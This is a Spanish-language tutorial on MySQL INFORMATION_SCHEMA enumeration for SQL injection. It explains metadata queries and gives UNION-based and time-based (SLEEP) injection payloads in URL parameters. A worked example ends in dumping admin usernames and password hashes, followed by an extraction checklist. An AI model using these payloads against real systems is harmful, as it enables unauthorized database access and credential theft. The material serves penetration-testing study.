Skip to content

Database Enumeration - INFORMATION_SCHEMA

¿Qué es INFORMATION_SCHEMA?

INFORMATION_SCHEMA es una base de datos virtual de MySQL que contiene metadatos sobre todas las BD, tablas, columnas, usuarios, privilegios, etc.

Es como un "registro de BD" que MySQL usa internamente. Cuando haces una enumeración en SQL Injection, aquí es donde sacas toda la información.

MySQL Server
├── information_schema (← Aquí está todo documentado)
├── mysql (credenciales de usuarios)
├── performance_schema
└── target_app (tu BD objetivo)
    ├── users
    ├── products
    └── orders

INFORMACIÓN QUE PUEDES EXTRAER

✓ Todas las bases de datos disponibles
✓ Todas las tablas en cada BD
✓ Todas las columnas en cada tabla
✓ Tipos de datos de cada columna
✓ Índices y claves primarias
✓ Usuarios y permisos
✓ Character sets y collations


1. SCHEMATA - Enumerar Bases de Datos

¿Qué es?

La tabla INFORMATION_SCHEMA.SCHEMATA contiene información sobre todas las bases de datos disponibles en el servidor MySQL.

Una "schema" en MySQL es simplemente una base de datos.

Comando Equivalente

sql
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT SCHEMA_NAME AS `Database`
FROM INFORMATION_SCHEMA.SCHEMATA;

-- Opción 2: SHOW DATABASES (corto, equivalente)
SHOW DATABASES;

Ejemplos Prácticos

Listar todas las BDs

sql
SELECT SCHEMA_NAME 
FROM INFORMATION_SCHEMA.SCHEMATA;

-- Resultado:
information_schema
mysql
performance_schema
target_app
wordpress
shop

Listar solo BDs que NO son de sistema

sql
SELECT SCHEMA_NAME 
FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME NOT IN ('information_schema', 'mysql', 'performance_schema');

-- Resultado:
target_app
wordpress
shop

Listar BDs que coincidan con patrón

sql
-- Todas las BDs que comienzan con 'w'
SELECT SCHEMA_NAME 
FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME LIKE 'w%';

-- Resultado:
wordpress

-- Todas las BDs que contienen 'app'
SELECT SCHEMA_NAME 
FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME LIKE '%app%';

-- Resultado:
target_app

En SQL Injection

URL: ?id=1' UNION SELECT SCHEMA_NAME, 2 FROM INFORMATION_SCHEMA.SCHEMATA --

Resultado (en HTML):
- information_schema
- mysql
- performance_schema
- target_app (← Target encontrado)
- wordpress


2. TABLES - Enumerar Tablas

¿Qué es?

La tabla INFORMATION_SCHEMA.TABLES contiene información sobre todas las tablas de todas las BDs.

Aquí ves qué tablas existen en cada BD, su tipo (BASE TABLE o VIEW), y qué engine usan (MyISAM, InnoDB, etc).

Comando Equivalente

sql
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT table_name, table_type, engine 
FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema = 'target_app';

-- Opción 2: SHOW TABLES (corto, equivalente)
SHOW TABLES 
FROM target_app;

Ejemplos Prácticos

Listar todas las tablas de una BD

sql
SELECT table_name 
FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema = 'target_app';

-- Resultado:
users
products
orders
comments
admin_users
settings

Ver tipo y engine de cada tabla

sql
SELECT table_name, table_type, engine 
FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema = 'target_app'
ORDER BY table_name DESC;

-- Resultado:
table_name   | table_type | engine
-------------|------------|-------
users        | BASE TABLE | InnoDB
products     | BASE TABLE | MyISAM
orders       | VIEW       | NULL
comments     | BASE TABLE | MyISAM
admin_users  | BASE TABLE | InnoDB
settings     | BASE TABLE | MyISAM

Interpretación:

  • BASE TABLE: Tabla normal que almacena datos
  • VIEW: Vista (consulta almacenada, no almacena datos)
  • engine NULL: Las VIEWs no tienen engine específico

Listar tablas de TODAS las BDs

sql
SELECT table_schema, table_name 
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema NOT IN ('information_schema', 'mysql', 'performance_schema')
ORDER BY table_schema, table_name;

-- Resultado:
table_schema  | table_name
--------------|----------
target_app    | users
target_app    | products
target_app    | orders
wordpress     | posts
wordpress     | comments
wordpress     | users
shop          | products
shop          | customers

Listar tablas que coincidan con patrón

sql
-- Tablas que comienzan con 'user'
SELECT table_name 
FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema = 'target_app' 
AND table_name LIKE 'user%';

-- Resultado:
users
user_roles
user_permissions

Contar tablas por BD

sql
SELECT table_schema, COUNT(*) as tabla_count 
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema NOT IN ('information_schema', 'mysql', 'performance_schema')
GROUP BY table_schema;

-- Resultado:
table_schema  | tabla_count
--------------|----------
target_app    | 6
wordpress     | 8
shop          | 5

En SQL Injection

URL: ?id=1' UNION SELECT table_name, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='target_app' --

Resultado (en HTML):
- users (← contiene credenciales)
- products
- orders
- comments
- admin_users (← crítico)
- settings (← claves API)


3. COLUMNS - Enumerar Columnas

¿Qué es?

La tabla INFORMATION_SCHEMA.COLUMNS contiene información sobre todas las columnas de todas las tablas.

Aquí ves qué columnas tiene cada tabla, sus tipos de datos, si puede ser NULL, valor default, etc.

Comando Equivalente

sql
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT column_name, data_type, is_nullable, column_default
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'users' 
AND table_schema = 'target_app';

-- Opción 2: DESCRIBE (corto, equivalente)
DESCRIBE target_app.users;

-- Opción 3: SHOW COLUMNS
SHOW COLUMNS 
FROM users 
FROM target_app;

Ejemplos Prácticos

Listar columnas de una tabla

sql
SELECT column_name, data_type 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'users' 
AND table_schema = 'target_app';

-- Resultado:
column_name | data_type
------------|----------
id          | bigint
username    | varchar
password    | varchar
email       | varchar
created_at  | datetime
is_admin    | tinyint

Ver información completa de columnas

sql
SELECT column_name, data_type, is_nullable, column_default, column_key
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'users' 
AND table_schema = 'target_app'
ORDER BY ordinal_position;

-- Resultado:
column_name | data_type | is_nullable | column_default | column_key
------------|-----------|-------------|----------------|----------
id          | bigint    | NO          | NULL           | PRI
username    | varchar   | NO          | NULL           | UNI
password    | varchar   | NO          | NULL           |
email       | varchar   | NO          | NULL           | UNI
created_at  | datetime  | YES         | CURRENT_TIMESTAMP |
is_admin    | tinyint   | YES         | 0              |

Interpretación:

  • column_key PRI: Primary Key (identificador único)
  • column_key UNI: Unique Key (valores únicos)
  • is_nullable NO: No puede ser NULL (requerido)
  • is_nullable YES: Puede ser NULL
  • column_default: Valor por defecto si no especificas

Columnas de todas las tablas de una BD

sql
SELECT table_name, column_name, data_type
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app'
ORDER BY table_name, ordinal_position;

-- Resultado:
table_name   | column_name | data_type
-------------|-------------|----------
admin_users  | admin_id    | int
admin_users  | admin_user  | varchar
admin_users  | admin_pass  | varchar
products     | product_id  | int
products     | name        | varchar
products     | price       | decimal
users        | id          | bigint
users        | username    | varchar
users        | password    | varchar
users        | email       | varchar

Encontrar columnas sensibles

sql
-- Buscar columnas que contengan 'password'
SELECT table_name, column_name 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app' 
AND column_name LIKE '%password%';

-- Resultado:
table_name   | column_name
-------------|----------
users        | password
admin_users  | admin_pass
users_backup | pass_hash

-- Buscar columnas que contengan 'email'
SELECT table_name, column_name 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app' 
AND column_name LIKE '%email%';

-- Resultado:
table_name | column_name
-----------|----------
users      | email
admin_users| admin_email
newsletters| subscriber_email

-- Buscar columnas que contengan 'key' o 'token'
SELECT table_name, column_name 
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app' 
AND (column_name LIKE '%key%' OR column_name LIKE '%token%');

-- Resultado:
table_name | column_name
-----------|----------
settings   | api_key
users      | auth_token
sessions   | session_key

En SQL Injection

URL: ?id=1' UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='target_app' --

Resultado (en HTML):
- users | id
- users | username
- users | password (← Encontrado!)
- users | email
- admin_users | admin_pass (← Crítico!)
- settings | api_key (← Secretos!)


4. STATISTICS - Enumerar Índices y Claves

¿Qué es?

La tabla INFORMATION_SCHEMA.STATISTICS contiene información sobre índices y claves (PRIMARY KEY, UNIQUE, etc).

Los índices son importantes porque te muestran qué columnas son claves primarias o únicas, lo que te ayuda a entender la estructura de la BD.

Comando Equivalente

sql
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT column_name, index_name, seq_in_index
FROM INFORMATION_SCHEMA.STATISTICS 
WHERE table_name = 'users' 
AND table_schema = 'target_app';

-- Opción 2: SHOW INDEX (corto, equivalente)
SHOW INDEX 
FROM users 
FROM target_app;

Ejemplos Prácticos

Ver índices de una tabla

sql
SELECT column_name, index_name 
FROM INFORMATION_SCHEMA.STATISTICS 
WHERE table_name = 'users' 
AND table_schema = 'target_app';

-- Resultado:
column_name | index_name
------------|----------
id          | PRIMARY
username    | UNIQUE_username
email       | UNIQUE_email
created_at  | INDEX_created_at

Interpretación:

  • index_name PRIMARY: Clave primaria (identifica único registro)
  • index_name UNIQUE_*: Valores únicos (no puede haber duplicados)
  • index_name INDEX_*: Índice normal (para búsquedas rápidas)

Ver orden de columnas en índice compuesto

sql
SELECT column_name, index_name, seq_in_index
FROM INFORMATION_SCHEMA.STATISTICS 
WHERE table_name = 'orders' 
AND table_schema = 'target_app'
ORDER BY index_name, seq_in_index;

-- Resultado:
column_name | index_name      | seq_in_index
------------|-----------------|----------
user_id     | PRIMARY         | 1
order_date  | PRIMARY         | 2
product_id  | FK_product      | 1

En SQL Injection

URL: ?id=1' UNION SELECT column_name, index_name FROM INFORMATION_SCHEMA.STATISTICS WHERE table_name='admin_users' --

Resultado:
- admin_id | PRIMARY (← Clave primaria)
- admin_user | UNIQUE_admin_user (← Username único)


5. USER_PRIVILEGES - Enumerar Usuarios y Permisos

¿Qué es?

Información sobre qué usuarios existen en MySQL y qué permisos tienen.

Comandos

sql
-- Ver usuario actual
SELECT USER();
SELECT CURRENT_USER();

-- Ver todos los usuarios
SELECT user FROM mysql.user;

-- Ver permisos de usuario específico
SHOW GRANTS FOR 'webapp'@'localhost';

-- Ver permisos del usuario actual
SHOW GRANTS FOR CURRENT_USER();

Ejemplos Prácticos

Ver usuario actual

sql
SELECT USER();
-- Resultado: webapp@localhost

SELECT CURRENT_USER();
-- Resultado: webapp@localhost

Interpretación:

  • webapp = usuario
  • localhost = desde qué host se conecta

Listar todos los usuarios

sql
SELECT user, host FROM mysql.user;

-- Resultado:
user     | host
---------|----------
root     | localhost
root     | 127.0.0.1
webapp   | localhost
admin    | 192.168.1.100
readonly | %  (← Puede conectarse desde cualquier host)

Ver qué permisos tiene un usuario

sql
-- Permisos globales
SELECT * FROM mysql.user WHERE user='webapp';

-- Permisos en BD específica
SELECT * FROM mysql.db WHERE user='webapp';

-- Permisos en tabla específica
SELECT * FROM mysql.tables_priv WHERE user='webapp';

-- Permisos en columna específica
SELECT * FROM mysql.columns_priv WHERE user='webapp';

Ver permisos en formato readable

sql
SHOW GRANTS FOR 'webapp'@'localhost';

-- Resultado:
GRANT SELECT, INSERT, UPDATE ON `target_app`.* TO 'webapp'@'localhost'

-- Interpretación:
-- webapp puede: SELECT, INSERT, UPDATE
-- En: todas las tablas de target_app
-- NO puede: DELETE, ALTER, DROP

Detallar permisos por tabla

sql
SELECT TABLE_NAME, GRANT_PRIV, SELECT_PRIV, INSERT_PRIV, UPDATE_PRIV, DELETE_PRIV
FROM information_schema.TABLE_PRIVILEGES 
WHERE GRANTEE = "'webapp'@'localhost'";

-- Resultado:
TABLE_NAME | GRANT | SELECT | INSERT | UPDATE | DELETE
-----------|-------|--------|--------|--------|-------
users      | N     | Y      | Y      | Y      | N
products   | N     | Y      | Y      | Y      | N
admin_log  | N     | N      | N      | N      | N (← Sin acceso)

En SQL Injection

URL: ?id=1' UNION SELECT user, host FROM mysql.user --

Resultado:
- root | localhost
- webapp | localhost (← El usuario actual)
- admin | 192.168.1.100
- readonly | % (← Acceso desde cualquier lado)


6. CHARACTER_SETS - Codificación

¿Qué es?

Los character sets definen qué caracteres puede almacenar una BD (ASCII, UTF-8, etc).

sql
SELECT CHARSET FROM INFORMATION_SCHEMA.CHARACTER_SETS;

-- Resultado:
utf8
utf8mb4
latin1
binary
ascii

7. COLLATIONS - Colaciones

¿Qué es?

Las collations definen cómo se comparan y ordenen los caracteres (sensibilidad a mayúsculas, acentos, etc).

sql
SELECT COLLATION_NAME 
FROM INFORMATION_SCHEMA.COLLATIONS 
LIMIT 10;

-- Resultado:
utf8_general_ci (← Case-Insensitive)
utf8_bin (← Binary, diferencia mayúsculas)
utf8mb4_unicode_ci


METODOLOGÍA COMPLETA - Paso a Paso

En SQL Injection, Enumeras Así:

Paso 1: ¿Qué BDs hay?

sql
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

Resultado esperado:

information_schema
mysql
performance_schema
target_app ← TARGET ENCONTRADO

Paso 2: ¿Qué tablas en target_app?

sql
SELECT table_name FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema = 'target_app';

Resultado esperado:

users ← Credenciales
admin_users ← CRÍTICO
products
settings ← Claves API
orders

Paso 3: ¿Qué columnas en 'users'?

sql
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'users' AND table_schema = 'target_app';

Resultado esperado:

id | bigint
username | varchar ← Interesante
password | varchar ← CRÍTICO
email | varchar
created_at | datetime

Paso 4: ¿Qué columnas en 'admin_users'?

sql
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'admin_users' AND table_schema = 'target_app';

Resultado esperado:

admin_id | int
admin_user | varchar ← Username
admin_pass | varchar ← PASSWORD
admin_email | varchar

Paso 5: Extraer datos

sql
SELECT admin_user, admin_pass FROM admin_users;

Resultado esperado:

superadmin | $2y$10$hash...
admin | $2y$10$hash...


TABLA RESUMEN - Todos los INFORMATION_SCHEMA

TablaUsoEjemplo Query
SCHEMATAListar BDsSELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
TABLESListar tablasSELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='db'
COLUMNSListar columnasSELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users'
STATISTICSVer índicesSELECT column_name, index_name FROM INFORMATION_SCHEMA.STATISTICS WHERE table_name='users'
USER_PRIVILEGESVer usuariosSELECT user FROM mysql.user
TABLE_PRIVILEGESPermisos por tablaSELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES
CHARACTER_SETSCodificacionesSELECT CHARSET FROM INFORMATION_SCHEMA.CHARACTER_SETS
COLLATIONSColacionesSELECT COLLATION_NAME FROM INFORMATION_SCHEMA.COLLATIONS


SQL INJECTION - EJEMPLO

URL: http://192.168.1.100/app/search.php?product=test

Paso 1: Detectar SQLi
?product=test' AND SLEEP(5) --
✓ Tarda 5 segundos = VULNERABLE

Paso 2: Enumerar BDs
?product=test' UNION SELECT SCHEMA_NAME, 2 FROM INFORMATION_SCHEMA.SCHEMATA --
Resultado: target_app encontrada

Paso 3: Enumerar tablas
?product=test' UNION SELECT table_name, 2 FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema='target_app' --
Resultado: admin_users encontrada

Paso 4: Enumerar columnas
?product=test' UNION SELECT column_name, 2 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='admin_users' --
Resultado: admin_user, admin_pass encontrados

Paso 5: Extraer datos
?product=test' UNION SELECT admin_user, admin_pass FROM admin_users --
Resultado: 
- superadmin | $2y$10$hash...
- admin | $2y$10$hash...

✓ CREDENCIALES COMPROMETIDAS


CHECKLIST DE ENUMERACIÓN

  • [ ] Enuméré todas las BDs
  • [ ] Identifiqué tabla con credenciales
  • [ ] Enuméré columnas de tabla crítica
  • [ ] Encontré columnas con password
  • [ ] Extraje datos sensibles
  • [ ] Verifiqué permisos del usuario actual
  • [ ] Busqué columnas API_key o secrets
  • [ ] Busqué tablas admin o privilegiadas